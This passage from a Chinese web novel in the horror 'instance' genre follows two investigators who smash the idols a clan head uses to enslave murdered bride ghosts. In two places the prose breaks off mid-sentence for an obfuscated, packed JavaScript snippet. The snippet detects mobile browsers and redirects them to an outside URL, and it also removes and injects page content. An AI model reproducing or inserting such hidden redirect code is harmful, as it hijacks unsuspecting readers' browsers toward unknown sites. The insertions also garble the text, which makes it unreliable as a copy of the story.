“首先,任务并未出现严格的限定条件,没有说考察的必须是完整婚俗。其次,早在此前,陈氏族长已然故意让考察团略过了迎亲前的部分婚俗。即便齐檎丹不逃婚,考察团考察到的婚俗也并不完整,所以逃婚对考察婚俗没有影响。” 顾斩风无视了一大堆围上来喊他“顾大佬”的弹幕,继续说道。 顾斩风其实不喜欢这种被公然围观的感受,但对齐檎丹的好奇心,让他觉得有必要开口。 齐檎丹是一个很有潜力的新人。 激发了他的探究欲。 要是不将误会解释清楚,任由弹幕赶客,会大幅影响到直播间打赏的积分进账,进而降低齐檎丹的通关概率。这是顾斩风不希望看到的。 “正常情况下,考察系统发布的主线任务相对清晰,不应该存在这种文字游戏。”顾斩风沉吟过后,语出惊人:“但或许,考察闽南婚俗的主线任务,也不过是一个幌子。” 幌子后面,离开副本的真实任务是什么? 系统又为何隐瞒真实任务? 他们无从得知。 一切,都需要副本里的考察员自己探索。 副本里,屏蔽了弹幕的齐檎丹并不知晓,方才的那一会儿里,一场轩然大波已从她直播间里悄无声息地离去。她正思索着,和顾斩风一模一样的问题。 真实的主线任务,她暂时还没法知晓,但对系统匪夷所思的举动,齐檎丹越是细想,眸中的光色便越幽深。 早在进副本前,巨眼就告诉过她,考察系统以保护为主要功能,这一点,巨眼大概没有说谎。但至于,考察系统为什么与保护的职能自相矛盾,隐藏真实通关任务,还要求他们完成危险任务,齐檎丹心底已经有了一个大致的猜想。 正如作为考察员的他们,在副本中被处处限制,考察系统也是被限制的。 花轿中无法开启的系统商场,就是其中一个证据。 在保护他们的考察系统之外,很可能还存在另外一套体系。那套体系威力更强,手段更毒,对副本的控制能力高高位居考察系统之上,制约着考察系统的运转,使得考察系统提供的保护措施,不得不在其约束内进展。 考察系统是为了护人,那套体系就是为了杀人。且杀人的权限,远高于系统。 那是一种绝对的掌控。 只要它想,它随时可以对副本世界里发考察员们,大开杀戒。 齐檎丹身上不由得一寒。她突然意识到,考察员在这套系统面前,有多么不堪一击。要想摆脱这个任人鱼肉的状态,她必须借助考察系统的力量,尽快变强。 只有变强,她才能更好地在副本中存活下去,找更多的鬼怪让她拍照。 “接下来,我们要躲到哪里?”梁安颜的询问,打断了齐檎丹的深思:“隐形斗篷能维持作用的时间,应该还有四五十分钟,应该够我们撑到躲藏地点了。要躲开这些人的追捕,至少要远离古厝,到陈家村外。我们要去哪儿?” “躲?”齐檎丹疑惑地挑了下眉:“我们不躲。” 梁安颜:“???” 齐檎丹足尖转向被团团包围的古厝,语出惊人:“非但不躲,我们还要进古厝。” “可是……现在进古厝,难道不是自投罗网吗?”梁安颜并不认同这种冒险的行为,对她们而言,离开是最为保险的选择,“退一万步讲,就算进了古厝,我们要去哪里?又能去哪里?” 齐檎丹反其道而行:“去鬼最多的地方,你们住的那里。” 她掀开斗篷的一角,瞧了眼日色。 人间将晚。 远方暮云合璧,万物渐入昏冥。 齐檎丹低头撕开碍事的嫁衣裙摆,又将相机的系带调整了一下,使其能够更牢固地挂在腰间:“天快黑了。天黑后阴气会越来越重,我们这次进去,大概率会遇到鬼。” 她语气平静,剔透的眸子里甚至隐有笑意。仿佛不是去往群鬼盘踞的龙潭虎穴,而是奔赴一场盛大的夕阳: “大小姐,有胆量陪我闯一闯吗?” 13. 古厝诡婚13 齐檎丹使的一招激将法,直白得毫不掩饰。 梁安颜不禁愣住了。 此前,她从来没想过,要挑战这条冒险的通关路。 由于辅助型专属技能的影响,梁安颜在副本里是一贯的保守派,只求做完最基本考察任务,活着通关即可。她本该甩开齐檎丹,回到考察团里。 老老实实地完成她的考察任务,然后简简单单地离开。 就像之前在那十五个副本里一样。 然而,如今看着周围混乱的局势、愤怒的陈家村人,梁安颜血液里的肾上腺素含量逐渐升高。她突然产生了一种不同的感觉。 都说副本里危机四伏,作死就会真的死,那为什么齐檎丹一再挑衅鬼怪,还能活得好好的?迄今为止,她没见齐檎丹使用过一次专属技能,却依然解决了危机,这是不是意味着,哪怕不用技能也可以通关? 既然不用技能也可以,那她这个辅助型技能,为什么要畏手畏脚,怕这怕那? 老老实实地走最安全的道路,靠讨好鬼怪来完成考察任务,虽然简单—— 但多憋屈,多没意思。 她是不是可以任性一回,放肆一回,不按照这条常规的套路来? 梁安颜突然意识到,直到今天,她骨子里还是有骄傲的,那是无法被残酷的生死磨平的骄傲。恍惚中,刚进副本世界时,那股初生牛犊不怕虎的精气神,重新回到了她身上。 除了是辅助型技能,她不比别人差,既然这条冒险的通关路也有人走,她为什么不可以加入? 失落已久的胜负欲,逐渐被激将法激发出来。 梁安颜的目光,逐渐变得坚定。 “怎么不敢?可别小瞧了本大小姐。”她缓缓弯起唇角,说走就走。 或许,连梁安颜自己也没有意识到,当她迈开步伐,和齐檎丹一起披着隐形斗篷,朝古厝里走去的同时,从前被她奉为金科玉律的安全至上原则,已经在不知不觉间,被抛至脑后。 . 由于古厝的正门,被搜寻新娘的人和看热闹的群众,给堵得水泄不通,她们只能转战后门,破坏门锁,翻墙入内。 这个鬼怪的聚集之处不难找,在古厝最角落。此时的这里,甚至比齐檎丹上次来时一样寂静—— 古厝里的人,显然对这里颇为忌惮。 之前在别处恨不得把地皮掀个底朝天,以便抓逃婚新娘的他们,这次只推开门往里看了一看,便匆匆一走了之。 生怕走得晚些,会被什么不详的东西粘上。 待到搜捕的人走后,梁安颜才从她们披着的隐形斗篷中走出。即便位于开门者的视线死角,又有道具保护,她后背紧贴着墙的那块衣衫,也早已被冷汗浸湿。 “我们来这里,是要找什么?”梁安颜长舒了口气,问齐檎丹。 “密室。”齐檎丹忙得头也不抬。 搜捕队伍刚走,她已经开始暴力撬锁。 因为罕有人至,这些房门上的锁好些年没换过,老化锈蚀得不成样子。 齐檎丹找来根铁丝,三下五除二,把这几个房间的门锁全撬了,然后顺着走廊一边往下走,一边霸气地把房门挨个踹开:“我怀疑,这个地方,藏着他们控制新娘鬼的手段。” 俗话说得好,冤有头,债有主。被折磨惨死的新娘鬼,怨气应集中在族长以及那些作恶的族人身上,也理应向他们复仇。 然而,复仇一事不仅并未发生,这些新娘鬼却先袭击了无关的人。 事出反常。 一看,就是有人在幕后操纵。 “这里的每个房间,都有考察员住过,而且没有人发现异常。所以,问题不是出在房间里,更不是出在室外,那样太容易被看见了。”齐檎丹说着,飞起一脚,又踹开了一扇新的门: “这说明,问题只可能藏在——不为人知的密室里。” 而密室藏在房间中。 面前的这扇房门,是这里的最后一扇了。齐檎丹擦去前额沁出的汗,往前一步,抬眼向屋里看去。失去凭依的门板,瑟缩般在视线里前后摇晃。 下一刻,齐檎丹不由自主地停顿住动作。 她深吸一口气,招呼梁安颜: “过来看。这个房间跟其他的不一样。” 时值傍晚,天际线只剩下一道血线似的身红。齐檎丹的侧脸浸泡昏沉的暮色里,衬得目光炯然如炬火:“在纵深上,这里比其他房间少了一截。” 梁安颜应声赶来:“我记得这个房间。入住房间的考察员,是当晚不幸丧命的考察员中,死得最早的。我们推开门的时候,他的尸体已经四分五裂了,上面全是牙印,周围却一点血也没有。” 像是惨遭群狼分食的羊羔,只有撕扯的力同时来自多个方向,人才会被活生生撕开成那副模样。 齐檎丹瞳色微深,在最靠里的那面墙上敲了敲。 “咚咚咚——” 声音沉闷,墙体明显是中空的。 她们要找的,就是这里! 木板后多出来的空间,很显然,正是藏有操纵新娘鬼之法的密室。 . 与此同时,无功而返的搜捕队伍自觉颜面无光,低头缩颈地进了正堂。 厅堂面向天井,里面早早点起的灯烛,驱不散来袭的黑暗。陈氏族长端坐于厅堂之上,眯着眼,慢条斯理地抿了一口热茶:“怎么样?找到她们了吗?” “没……没有……”良久,搜捕的族人才瑟缩着开口。 “废物!一群废物!” 茶杯的底部重重落在桌上,砸得人心头绞缩。滚烫的茶水肆意溅出,明灭的烛光里,族长冷笑着抬头,露出压在眉骨下一双阴鸷的眼。 他那双三角眼,模样简直怵目。庞大的眼黑浑浊地向外扩散,直至填充满整个眼眶。 里面,赫然没有一丝眼白! 组成搜捕队的族人,瞬间跟被水烫着似的,惊慌失措地跪了一片。没有人胆敢抬头,与这双恐怖的黑瞳对视:“族长息怒!我们还有一个地方没敢搜太仔细,要是这两个女的没逃出去,一定是在那里!” “哪里?”族长语气稍见缓和,他重新眯起眼睛,全身的威压为之一收。 族人的勇气,这才回来了一点。 他恭恭敬敬地低头作答:“就是您教导我们说的,那个绝对不能过去的地方。对不起,我们真的是……太害怕了……” 说完后,那族人埋头盯着地面,战战兢兢地等了好几分钟。然而直到额头上的冷汗滚落在地,他仍没有等到族长震怒的呵斥。终于,他忍不住困惑地抬起头,竟在满厅阴晴不定的烛影灯光间,看见了族长上弯的嘴角。 族长居然对他们的举动,非常满意? “好,做得好啊!”族长捻着胡子,改怒为笑,细窄狭长的眼缝间,闪过狡猾的精光: “真是天堂有路她不走,地狱无门她往里闯。你们没进去那地方,是正确的,无比正确。因为在那里,藏着我们古厝里,最危险的东西——” 数以百计的新娘鬼。 藏着他掌控鬼魂秘法的地方,同样是新娘鬼的聚集之所。 即便齐檎丹和梁安颜,已与储存这一秘法的密室非常接近,陈氏族长也不担心自己驱使新娘鬼的方法,会为她们所知。 因着生前大量失血,这些鬼魂极嗜血肉,被控制后,更是只听他一人的命令。旁人一旦发现密室,强行将其开启,结局便只有一个。 那就是被上百厉鬼饮血吸髓,撕成碎片。 绝无生还的可能。 “好了,我看你们也不用搜了,就守在这里,等她们惨死的好消息吧。”想及此处,族长脸上不禁露出狠毒的笑意:“特别是那个齐檎丹,跟我这群新娘鬼早有过节,必定会被啃得一干二净。” 这就是敢违抗他命令,擅自逃婚的下场。 . 陈氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831155|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 族长脑子里死得凄惨的齐檎丹,站在有密室的房间里,冷不丁打了个喷嚏。 “我好像发现机关了。”梁安颜绕着房间走了一圈,将目光锁定在一个成色不算好,表面却异常干净的花瓶上,“这个青花瓷瓶是被固定在架子上的,而且可以转动。” 为了验证这一点,梁安颜双手按住花瓶,缓缓将其转了半圈。 “咔,咔,咔——” 机械运转的声音,随着花瓶的转动,从墙体内响起。 这里果然有道暗门! 发现暗门和后面的密室,绝对是件好事。然而,一种非常不妙的预感,却电光般打在齐檎丹心上。 要是这么轻松就能打开密室,陈家村的族长怎么可能放心,把人安排在这间房里居住?搜查她们的人,又怎么可能只因为畏惧,就放弃对这个地方的搜查?齐檎丹只恨自己意识到得太晚。 “等等……”齐檎丹连忙出言阻拦。 却已经来不及了。 墙体突然发了狂似的震动起来,“咚咚咚”的撞击声蓦然响起。闻到活人气息的新娘鬼兴奋地发出尖啸,疯狂地撞着密室的墙壁,直撞得墙皮开裂,墙灰簌簌落下。 这些新娘鬼被陈氏族长长期控制,神智基本已经被消磨殆尽。她们心里,只剩下对血肉的一腔渴望,与野兽无异。 她们被关押得太久,太饥饿了。 她们渴求血肉。新鲜的,送上门来的血肉。 “关门!关门!!” 可是,转动花瓶竟然只能开门,不能关。 这道暗门,就是一个专门针对考察员们的陷阱。 梁安颜站在墙前,飞快地反向转动花瓶,却发现无济于事,缝隙还在以难以阻挡的趋势,继续扩大。不一会儿,那缝隙就达到了能让新娘鬼通过的宽度。 一瞬间,难以计数的新娘鬼,急不可耐地挤出门缝。 拖曳的血色嫁衣,四处纷飞。 遮挡住了视线。 距离密室最近的梁安颜,一下子成了最危险的那个。 死亡的恐惧,倏然向梁安颜袭来。铺天盖地的红色,使她几乎产生了一种错觉,仿佛眼前飞扬的不是嫁衣,而是她濒死前糊住视线的血液。 转身逃跑已经来不及了。 梁安颜甚至连闭上眼睛,都做不到。 梁安颜只能眼睁睁地看着,新娘鬼一个紧跟着一个从密室里扑出。血泪纵横的鬼面,距离她越来越近。 逃不掉了…… 她是快死了吗? 不过能在死前疯上这一回,倒也不算太亏。 梁安颜不由自主地抿起双唇,克制住生命最后时刻的颤抖。 怎料,新娘鬼的利齿并没有落在她身上。或者说,在接近梁安颜的那一刹那,这些新娘鬼的表情陡然从贪婪,变成了畏惧。 她们尖叫着用袖子挡住脸,连连后退,恨不得把自己再塞回密室里。 局面顷刻反转。 梁安颜诧异地抬眸,只见竟有一道余晖光芒,以极刁钻的角度,照向了密室门口。而光芒的来向,正是站在窗边齐檎丹。 新娘鬼怕光,而且只怕阳光。齐檎丹手里高高举着的反光板,则起到反射的作用,通过角度的把控,将外面所剩无几的斜阳,尽数反射到了屋内。 这道夕晖,正是她的杰作。 但,齐檎丹这招管用不了多久。太阳马上就要彻底落山了,待夜色完全降临后,新娘鬼便会失去所有拘束。 梁安颜一得解救,脑子就疯狂运转起来: “我的专属技能对所有需要钱的人和鬼怪,都有很强的吸引力,也许能够帮我们拖延时间。但前提是,新娘鬼缺少纸钱之类的供奉,如果她们只要血,我恐怕拦不了多久……” “已经够了。”齐檎丹举着反光板,从系统背包里取出几样东西,费力地向梁安颜扔去: “换上!等你先换好这些,再发动技能。” 14. 古厝诡婚14 梁安颜眼疾手快,接过那抛来的东西一看—— 发现这是她昨天夜里,才还给齐檎丹的血嫁衣服装,和那本散发着鬼怪气息的道具“穆青青的记者证”。 顷刻间,梁安颜明白了齐檎丹的好意。 她以最快速度换上了嫁衣,从外貌上接近嫁衣鬼,又把记者证藏进衣服里,让记者证上的鬼气,覆盖去身上属于活人的气息。 太阳西沉的速度越来越快,被折射到密室门口的那一缕余晖,飞快地褪色减淡,对新娘鬼的牵制也越来越弱。不甘被困的新娘鬼虎视眈眈,屡屡尝试冲出光照的封锁。 以光拦鬼的方法,即将失效。 “快!用技能!”阳光消失前,齐檎丹高声催促。 梁安颜应声而动。她右手在空中虚虚一抓,继而向前方撒去,专属技能“天女散花”瞬间发动。 明明手掌之内空无一物,梁安颜做出抛掷动作的那一霎,朵朵鲜花却相继浮现在空中。 幽暗狭小的房间,转眼间繁花盛放。 宛如仙境。 盛开的每一朵鲜花,都由粉红的钱币构成。纵使梁安颜为了增加对新娘鬼的吸引力,把组成花瓣的钞票换成了阴曹地府里通用的冥币,这满屋飘钱的场面,依旧令人大为震撼。 这散的,莫不是……有钱花?齐檎丹眼皮跳了两下。 真不愧是富婆姐姐啊。 强忍下拿相机拍摄这奇观的冲动,齐檎丹迅速取出几张拍摄鬼怪的照片,随身携带。做完这一切以后,梁安颜的技能刚好失效。 这些新娘鬼不缺供养,不在意冥币。 梁安颜已经尽力。 开到极致的花朵竭尽所能,短暂地吸引了一下新娘鬼的注意力。这次拖延坚持了几秒钟,之后,上百个新娘鬼便再次飘出了密室。 不同的是,这一次,齐檎丹和梁安颜已经做好了准备。 新娘鬼们唰然飘出,气势汹汹。 然而,由于齐檎丹和梁安颜散发出的活人气息,被掩盖在浓浓的鬼气之下,不过片刻,这些新娘鬼便失去了目标,踌躇不前,面面相觑,活像一群无头苍蝇。 不知道应该向谁发起攻击。 这都多亏了,梁安颜的技能争取到的时间。 梁安颜第一次觉得,这个曾让她自卑的辅助型技能,竟然如此有用。 唯一有点意外的,是齐檎丹。齐檎丹顶着个“新娘鬼的记恨”的标记,在这群曾被她戏弄过的新娘鬼眼中,活像个瓦数超高的闪亮灯球。没过多久,齐檎丹周围便里三层外三层地围满了新娘鬼。 梁安颜仅仅是旁观,都忍不住替她心惊肉跳。 可齐檎丹本人,似乎不这么想。 昨夜给齐檎丹招惹鬼怪的伤疤,现下已然结痂,又有富含鬼气的照片傍身,齐檎丹此刻的气息已是人鬼难辨。她大方地任新娘鬼们打量嗅闻,时不时举起相机,怼着新娘鬼肆意狂拍。 没有被群鬼环伺的紧张,倒是跟条掉进珍宝洞里的恶龙一样,欣喜若狂,两眼发亮。 梁安颜:“……” 得,她就多余替齐檎丹操这个心。 行动没有受新娘鬼阻碍的梁安颜,率先进入了密室。 这密室很小,只不过五六平米,里面俨然是个供奉神像的地方。狭长的供桌上,摆放着香烛与糕点果品。供桌后那个极高大的神龛,则几乎占据了整个密室。 不……那不是普通的神龛,普通的神龛里,装不下如此多的神像。 梁安颜仰头向上,心跳骤然缺了一拍。 密密麻麻的夫人妈神像,随着梁安颜视线的上移,映入眼眸。 被设计成类似置物架模样的神龛里,足足数百个夫人妈像,挤在一排排架子上。每一个都身披嫁衣,宛若新娘,身上的关节处连接满细线,好似被人操控于股掌之间的悬丝傀儡。 除了还没来得及做夫人妈像的穆青青,控制其他新娘鬼的夫人妈像,恐怕都在这里。几百个夫人妈像身上的嫁衣挤满密室,连成一片滔天火海。 密室里,竟藏有这么多夫人妈像。 这个作恶多端的陈家族长,到底害死了多少女子?杀了多少新娘?! 梁安颜的视网膜有如火烧,阵阵发痛。她为这些无辜女子的遭遇,深感悲痛和愤怒:“生前将新娘杀死献祭还不算,死后还要奴役她们,驱使她们,这群陈家人,到底还有没有人性?” “唔……补充一点,在陈家村里被杀的这些女子,可能不只是新娘——或者说,只是曾经是新娘。”齐檎丹不知何时摆脱了包围的新娘鬼,此刻正斜倚在密室的门上,手拿相机,欣赏着刚刚拍摄得到的照片: “她们的年龄从十几岁到四十几岁不等,显然不全是一过门就被献祭的。嫁衣,只不过是伪装。” 梁安颜眼神微动,快步上前:“你有新的发现了?” “喏。”齐檎丹往窗边一指。 入夜后,月光静谧流淌,一个新娘鬼安静地跪坐在轩窗下。她怀中抱着东西,正轻而有节奏地摇晃,口中哼唱的摇篮曲里,充满了温柔。 借着朦胧清冷的月色,梁安颜看见了这个新娘鬼怀里抱着的物品—— 一个小小的襁褓。 襁褓里,空无一物。失去神智的新娘鬼,却俨然将其当成了自己的婴孩。 纵使神智被磨灭,生命被剥夺,她对孩子深入骨髓的母爱,却在灵魂深处完完整整地保留了下来。只是不论如何,这对母子俩,注定再也见不了面了。 齐檎丹的言语,冷如刀锋:“如果她生下的是女孩,大概率已经被杀死,所以村里才会见不到一个女性。如果生的是男孩,这个男孩为了融入这个思想畸形的村子,也很可能在长大的过程中,不断被洗脑,最终加入曾经害死自己母亲的阵营里。” 冥冥之中,悲剧已经写好。 不管这位母亲襁褓里的婴孩,原本是男是女,都逃不开这残酷的命运。 摇篮曲还在被哼唱,在长夜里断断续续地传来。梁安颜垂着长睫,不由得为这母子俩的悲剧感到哀伤。她抿住双唇,没有出声,不愿意惊扰此刻温馨而凄凉的幻境。 然而,齐檎丹还在兀自地往下说:“这个抱着襁褓的新娘鬼,至少是在生下孩子后,才被杀害献祭的。因为鬼魂保持着死时的样子,其他新娘鬼身上,多多少少也有一些痕迹,能还原出,她们生前最后一段时间的人生轨迹……” 方才的近距离接触,让齐檎丹看到了更多。 相机的拍摄下—— 不为人知的细节被聚焦,被放大。 隐蔽在猩红嫁衣下的真相,在高清的照片里,无所遁形。 齐檎丹从相机内置的图库里,点开第一张照片:“左边第二个新娘鬼的手臂上,有少量烫伤,看着像是做饭时,被热锅溅起的油烫到留下的的痕迹。伤痕还很新鲜,产生时间和死亡时间应该很接近。” 这说明,死前的不久,她还在为家人下厨做饭。 随后,是第二张照片。 “右边靠墙的那个新娘鬼,手上皮肤被泡得发白发皱,只有在水里泡了很久,才会泡成这个样子。”这个新娘鬼生前,很可能正在浣洗一家人的衣物。 “左边的新娘鬼,手上有菜刀切伤的疤。她旁边的新娘鬼……”齐檎丹继续指出了两三个后,便没有再继续往下说了。 像这样的新娘鬼,还有太多太多。 她说不完。 婚嫁、生育、付出、牺牲、化鬼……这些嫁来的女性,被压榨尽了所有利用价值。 她们勤勤恳恳地付出,却在被厌弃之后,被迫再一次穿上嫁衣,囚困进这一方逼仄的黑暗里。从生前到死后,永世不得解脱。 而将她们推入黑暗的,不是别人。 恰恰是陈家村里,那些甜言蜜语哄骗她们嫁来,让她们为之洗衣做饭的男人。 绑缚神像全身关节的细丝延伸向上,被固定在糊满黄符的天花板上,交错宛如蛛网。人为制造的盘丝洞中,神像缄默,女鬼垂泪,丝线收束了百名女性的悲哀与不幸,将她们困进深深的古厝。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831156|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>千丝万缕的细线缠上五脏,随着每一次心跳绞紧。梁安颜感到无比窒息。 “我们能做什么?”她禁不住问。 她们既然来了,便不可能对眼前的悲剧坐视不管。 齐檎丹缓缓从相机上移开目光,抬起头,目视着前方金光闪闪的神龛,在上面找寻着破绽。 神龛里,一个个新娘鬼的夫人妈像,无一不是经过了陈家的特殊改造,通过丝线与操控者意志相连。本来能够给屈死女鬼提供奉养,并使其成神的夫人妈塑像,在经过这些改造之后,俨然成为了陈氏族长操控这些新娘鬼的工具。 丝线材质特殊,坚韧难断。这几百座塑像面带凄楚,却因被丝线缠绕,动弹不得。 但塑像本身,却是常见的树脂玻璃钢。 没有绝对的抗摔性能。 见此,齐檎丹转身离开。她从外面找到一块巨石,和梁安颜一起搬起石头,面对密室里的神龛高高举起: “哪怕,单凭我们这两个外来者的力量,改变不了这些新娘鬼生前的命运,但至少现在,我们能把这害人的玩意儿……砸个稀巴烂!” “砰——” 手中巨石狠狠砸下。 重量十分可观的石头,结结实实地落在神龛上。 鎏金雕花的神龛外壳分崩离析,置物木板从中间断裂,遵从地心引力向下倾斜。丝线扯断,黄符飘飞,木板上摆放的夫人妈神像,一齐滑落下来,摔得粉身碎骨。 “噼里啪啦”的碎裂声,像极了一场辞旧迎新的烟花。 被拘禁利用已久的魂魄,终于摆脱了囚服似的红嫁衣。 重获自由。 . “啊啊啊啊啊!!!” 古厝厅堂里,惨叫声撕心裂肺。 脸上骤然传来的剧痛,刺激得陈氏族长如虾子般蜷缩起来,他佝偻着脊背,用双手捂住脸,发出痛呼。 当他强忍了好几分钟,好不容易捱过这波痛苦,将手从脸上挪开时,厅堂里响起了清晰可辨的抽气声。 “族长!”有族人失声惊叫:“您的脸……” 陈氏族长颤抖着手,揽镜一照。 刹那间,他面色铁青。 陈家村的阵法具有两大功效,一是使他们宗族来财不断,永享富贵,二是让他不老不死,年轻力壮。自从阵法布下之后,陈氏族长就从来没担心过自己的面容。 但是现在,他竟然在镜子当中,看见了一张沟壑纵横的脸。 这张脸无比苍老。 面部皮肤松弛下垂,布满深浅不一的棕褐色斑点,宛如干枯坏死的树皮,丑陋可怖。 “这不是我的脸,不是我的……” 陈氏族长难以接受自己老去的事实。但他随即可悲地发现,他瞪眼,镜中与他面容相似的老人也瞪眼,他张嘴,镜中老人的嘴角就扯出无数皱纹……镜中的一举一动,都和他完全一致。 镜子里的脸,就是他的。 他无可否认。 族长拿镜子的手,哆嗦得越来越厉害。他突然发难,用尽全身的力气扬起手臂,把那面无辜的镜子拼命摔在地上,冲上去狠狠又踩了几脚。 镜子碎成千百片,被踩得“嘎吱”作响,陈氏族长心中的恐惧,却怎么也踩不灭。 他意识到—— 阵法里,厉鬼的怨气在减退。 长久以来,身为族长的他以身作则,要求陈家村里的所有男丁,不断杀死嫁进陈家村的女性,甚至连她们生下的女婴也一同献祭,都是为了加重女鬼的怨气。这怨气增加了,怎么还会减弱? 莫非逃走的那两个女的,不仅没被新娘鬼杀死,还毁了他的密室? 族长猛然攥紧拳头。 恨意,倏地从那黢黑的瞳孔中喷薄而出。 “不能再让她们肆无忌惮下去了。我变老事小,宗族失去财富事大。”族长从椅子上站起,铁青着面色,把手骨捏得“咯嚓”作响: “那个研学考察团里还剩多少人?让陈老师把人全都叫来,要快!!!” 15. 古厝诡婚15 齐檎丹和梁安颜的逃离,让闽南婚俗研学考察团里本就少得可怜的人数,雪上加霜。 剩下的三男一女,在气势汹汹的陈家村人面前,显得势单力薄。因此,当他们被陈老师半胁迫半邀请着,往古厝正堂里带的时候,一个个都禁不住绷紧了心弦。 古厝的厅堂灯烛阴森,观之有如鬼火。 这些考察员心下,已经做好了最坏的打算。 他们都是老玩家,身上多少有些保命的道具。即便这群N.PC突然发难,他们咬一咬牙,也不是没有机会杀出一条生路。踏入古厝正堂时,他们做好了应付刁难的准备,随时预备着把道具往上砸。 怎料,首先映入眼帘的,却是几张吃饭的圆桌。 严阵以待的众人,俱是一懵。 还没等他们回过神来,就见戴着面具的族长拍了两下手。随即,端着饭菜的厨子鱼贯而入,一道道美味佳肴好比流水一样,源源不断地被端上餐桌,摆满眼前。珍馐海味应有尽有。 然而其中最多的,还是鱼。 各种各样的海鱼肉嫩刺少,新鲜无比,散发出令人食指大动的喷香。 几乎是在这些菜肴被端上来的一瞬间,所有考察员不约而同地感到了强烈的饥饿。 食欲一旦被调动起来,便一发不可收拾。打从今天下午出门开始,整个考察团就追在迎亲队伍后面跑,连热水都没来得及喝一口,现在肚子里的食物早就消化完了。此刻,胃袋正痉挛着叫嚣渴望,唾液自动分泌,视觉与嗅觉被美味的鲜鱼全方位占据…… 即便只是待在这里,也变成了可怕的凌迟。 不知道是谁的肚子“咕噜咕噜”叫了两声,率先打破沉寂。陈氏族长笑着开了口:“都干站着做什么?婚礼上让你们见了笑,但开婚宴的财力,我们陈家村还是有的。都坐下,至少把这顿饭吃完再走。” 族长三番几次热情相邀,周围的宾客相继入座,再加上斟满杯盏的自酿酒水,和满桌子丰盛的菜肴,还真有点吃婚礼喜宴的氛围。 终于,有人没忍住诱惑,扑到桌前。 他是几个考察员中最胖的那一个,体能消耗得比其他人要快,早饿得前胸贴后背了 在强大食欲的推动下,这胖子进食的方式迅猛又野蛮。他一手拎着鱼头,一手提着鱼尾,旁若无人地埋下头大块朵颐,吃得满手满嘴都沾满了酱汁,仿佛这些鱼是世间罕见的无上美味。 “吃,快吃啊!这里的鱼真是……太好吃了!”胖子一边招呼其他人,一边吃得头也不抬。他是吃鱼的个中高手,舌头灵活地挑出鱼刺,卷到嘴外,不一会儿嘴巴旁便挂了一圈鱼刺。 见他几条鱼下肚后,仍平安无事,其他考察员也开始心动。 垂涎的目光,频频向桌上瞟。 “来吃啊,没事的。”说着,族长也夹起一块鱼肉,送进面具嘴巴位置的开口里。 陈氏族长敢吃鱼,莫非这鱼肉真的没事,是他们多虑了?就算能吃,这些鱼真有那么好吃吗?紧张的气氛松弛下来,其余考察员的态度也逐渐缓和,犹豫着坐到桌前。 一口鱼肉进嘴,他们的犹豫和怀疑,顷刻间烟消云散。 香!太香了! 这天下,怎么会有这么好吃的鱼?早知道这么香,他们就该早点过来吃。 考察员眼里的惊艳仅仅持续了一秒,就被迷恋的狂热所取代。下箸之前对于怎么吃、吃多少的考虑,瞬间清空,他们脑子里,只剩下暴风进食这一个念头。即便被尖利的鱼刺扎破了嘴唇,刮伤了喉咙,他们也好像感觉不到痛苦似的。 唇舌的鲜血流出口腔,滴在桌上,也没有一个人肯停止咀嚼吞咽的动作。 就跟被魇住一样疯狂。 他们是如此沉浸在食欲里,以至于他们没有发现,身边的宾客已然停下吃喝的假动作。 这些陈家村人假扮的“宾客”整齐划一地扭过头,鱼类似的眼珠子,动也不动地注视着考察员的丑态。 嘴角,是趋同的诡异弧度。 猎物进入陷阱了。 陈氏族长眼中闪过一道冷光。 族长低下头,完完整整地“呸”出一块鱼肉——那块被他送进嘴里的鱼肉块,他其实从来没有咽下去过。 . 与此同时,带有密室的房间内。 齐檎丹和梁安颜正与恢复清醒的新娘鬼们,相谈甚欢。 “……你说什么?陈家村里的鱼肉有问题?”被砸得满地狼藉的密室内,齐檎丹丢开石头,看向前方的新娘鬼。 在控制新娘鬼的夫人妈塑像,被齐檎丹和梁安颜全数摧毁后,这些新娘鬼们终于恢复自我意识,获得了离开的自由。然而,相当一部分知恩图报的新娘鬼,却选择了多留下来一段时间,以提供线索,报答两人。 现在齐檎丹面前的新娘鬼,就是其中之一。 “别的我不敢确定,但是养在宗祠前那个池子里的鱼,一定是有问题的。”新娘鬼竖着三根手指,信誓旦旦地保证,“我被杀之前,偷听到了他们的计划,我只差一点就能逃走了,都是因为那条鱼……” “你吃了宗祠池子里的鱼?”梁安颜顺着她的话,问道。 新娘鬼点了点头,羞愧难当。 她连用两个“特别”,夸张地形容着那条鱼的鲜美程度:“当时桌上有一条海鱼,据说就是从宗祠前的池子里捞的,焖得特别特别香,我是真的没忍住,只知道狂吃……吃完后我就发现完蛋了,我除了听从那个陈家那个族长的命令,别无选择。” 齐檎丹:“为什么说别无选择?要是违抗族长的命令,会怎么样?” 新娘鬼眼露恐惧:“会死。” 且死状凄惨。 这新娘鬼已是死过一次的人,在想起那死法的时候,却仍然遍体生寒,战栗不止。 见她吓成这样,梁安颜连忙温声安抚,齐檎丹也没有再继续追问那个死法,而是转移了话题:“你有见过那个宗祠前的池子吗?为什么那个池子里养出来的海水鱼,会有这么大的威力?” 新娘鬼委屈地摇头:“那个宗祠被守得严,我只远远地看过几次。我男人不让我进,说是妇女和孩子不能进宗祠。” “我进去过。”另一个新娘鬼接话。 她的年纪,比方才诉说的那个小新娘鬼大了一轮,端坐在椅子上的时候,颇有种当家主母的威严气势: 